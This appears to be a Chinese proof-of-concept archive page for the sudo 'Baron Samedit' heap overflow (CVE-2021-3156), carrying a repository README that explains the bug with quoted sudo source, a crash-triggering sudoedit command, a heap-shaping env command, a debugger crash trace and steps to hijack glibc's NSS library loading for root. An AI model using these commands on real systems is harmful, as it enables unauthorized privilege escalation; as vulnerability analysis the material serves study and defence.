关联漏洞
标题:
Sudo 缓冲区错误漏洞
(CVE-2021-3156)
描述:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 Sudo 1.9.5p2 之前版本存在缓冲区错误漏洞,攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root。
介绍
# CVE-2021-3156
In this document we include all the knowledge necessary in order to understand the code in this repository and why it
works. All the explaination is based on the report created by
[QUALYS](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt). There more forms
of exploitation are explained.
## Requirements
The vulnerable versions of sudo are legacy versions from 1.8.2 to 1.8.31p2 and all stable version from 1.9.0 to
1.9.5p1, in their default configuration.
This repositiory is tested on Ubuntu 20.04 (sudo 1.8.31). In it we open a terminal with root privileges.
## Analysis
If Sudo is executed to run a command in *shell* mode:
- Through the `-s` option, which set sudo's `MODE_SHELL` flags.
- Through the `-i` option, which sets sudo's `MODE_SHELL` and `MODE_LOGIN_SHELL` flags.
Then at the begining of sudo's `main()`, `parse_args()` rewrites argv, by concatenating all command-line arguments and
by escaping all meta-characters with backslashes.
```c
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
```
Later, in `sudoers_policy_main()`, `set_cmnd()` concatenates the command-line arguments into a heap-based buffer
`user_args` and unescapes the meta-characters, "for sudoers matching and logging purposes":
```c
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
```
If a command-line argument ends with a single backlash character, then:
- `from[0]` is the backlash character and `from[1]` the null terminator
- `from` is incremented and points to the null terminator
- The null terminator is copied to the `user_args` buffer and `from` incremented again and points out of bounds
- The while loop reads and copies out-of-bounds characters to the `user_args` buffer.
In other words, `set_cmnd()` is vulnerable to a heap-based buffer overflow, because the out-of-bounds characters that
are copied to the `user_args` buffer were not included in its size.
In theory, however, no command-line argument can end with a single backslash character: if `MODE_SHELL` or
`MODE_LOGIN_SHELL` is set (a necessary condition for reaching the vulnerable code), then `MODE_SHELL` is set and
`parse_args()` already escaped all meta-characters, including backslashes (i.e., it escaped every single backslash
with a second backslash).
In practice, however, the vulnerable code in `set_cmnd()` and the escape code in `parse_args()` are surrounded by
slightly different conditions:
```c
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
```
versus:
```c
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
```
ur question, then, is: can we set `MODE_SHELL` and either `MODE_EDIT` or `MODE_CHECK` (to reach the vulnerable code)
but not the default `MODE_RUN` (to avoid the escape code)?
The answer, it seems, is no: if we set `MODE_EDIT` (`-e` option) or `MODE_CHECK` (-l option), then `parse_args()`
removes `MODE_SHELL` from the `valid_flags` and exits with an error if we specify an invalid flag such as
`MODE_SHELL`):
```c
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
```
But we found a loophole: if we execute Sudo as `sudoedit` instead of `sudo`, then `parse_args()` automatically sets
`MODE_EDIT` but does not reset `valid_flags`, and the `valid_flags` include `MODE_SHELL` by default:
```c
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
```
Consequently, if we execute "sudoedit -s", then we set both `MODE_EDIT` and `MODE_SHELL` (but not `MODE_RUN`), we avoid
the escape code, reach the vulnerable code, and overflow the heap-based buffer `user_args` through a command-line
argument that ends with a single backslash character:
```bash
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
```
From an attacker's point of view, this buffer overflow is ideal:
- We control the size of the `user_args` buffer that we overflow (the size of our concatenated command-line arguments);
- We independently control the size and contents of the overflow itself (our last command-line argument is conveniently
followed by our first environment variables, which are not included in the size calculation);
- We can even write null bytes to the buffer that we overflow (every command-line argument or environment variable that
ends with a single backslash writes a null byte to `user_args`).
For example, on an amd64 Linux, the following command allocates a 24-byte `user_args` buffer (a 32-byte heap chunk) and
overwrites the next chunk' `size` field with "A=a\0B=b\0" (0x00623d4200613d41), its `fd` field with "C=c\0D=d\0"
(0x00643d4400633d43), and its `bk` field with "E=e\0F=f\0" (0x00663d4600653d45):
```bash
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
```
```
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
```
# Exploitation
```
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
```
The function crashing is `nss_load_library()` from glibc (at line 344) because the pointer `library` was overwritten.
```c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
```
The steps to exploit this crash are the following:
- Overwrite `ni->library` with `NULL`. this will make the code enter the if clause and start the parsing and loading of
the library.
- Overwrite `ni->name` with `"X/X"`. This originally hold `"systemd"`.
- Therefore the `__strcpy` lines will parse `"libnss_X/X.so.2"` instead of `"libnss_systemd.so.2"`.
- We therfore are loading the shared library controlled by us `"libnss_X/X.so.2"` as root. In it we can do whatever we
wish as root.
文件快照
[4.0K] /data/pocs/b0357402d3620629a25e9932129f25bc0b9611d6
├── [ 16K] a.out
├── [4.0K] libnss_x
│ └── [ 14K] x.so.2
├── [1.0K] main.c
├── [8.9K] README.md
├── [ 98] run.sh
└── [ 947] shellcode.c
1 directory, 6 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。